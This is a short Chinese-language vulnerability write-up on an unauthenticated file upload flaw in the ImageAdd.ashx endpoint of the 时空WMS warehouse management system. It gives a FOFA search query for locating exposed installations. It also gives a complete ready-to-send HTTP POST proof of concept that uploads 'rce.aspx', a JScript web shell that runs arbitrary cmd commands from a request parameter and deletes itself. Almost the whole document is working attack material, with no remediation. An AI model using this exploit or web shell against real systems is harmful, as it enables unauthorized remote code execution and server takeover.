# 时空WMS-仓储精细化管理系统ImageAdd.ashx文件上传漏洞 时空WMS-仓储精细化管理系统 ImageAdd.ashx 接口存在文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。 ## fofa ```javascript body="SKControlKLForJson.ashx" ``` ## poc ```javascript POST /ImageUpload/ImageAdd.ashx HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip ------WebKitFormBoundaryssh7UfnPpGU7BXfK Content-Disposition: form-data; name="file"; filename="rce.aspx" Content-Type: text/plain <%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%> ------WebKitFormBoundaryssh7UfnPpGU7BXfK-- ``` ![image-20241206215719619](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202412062157774.png)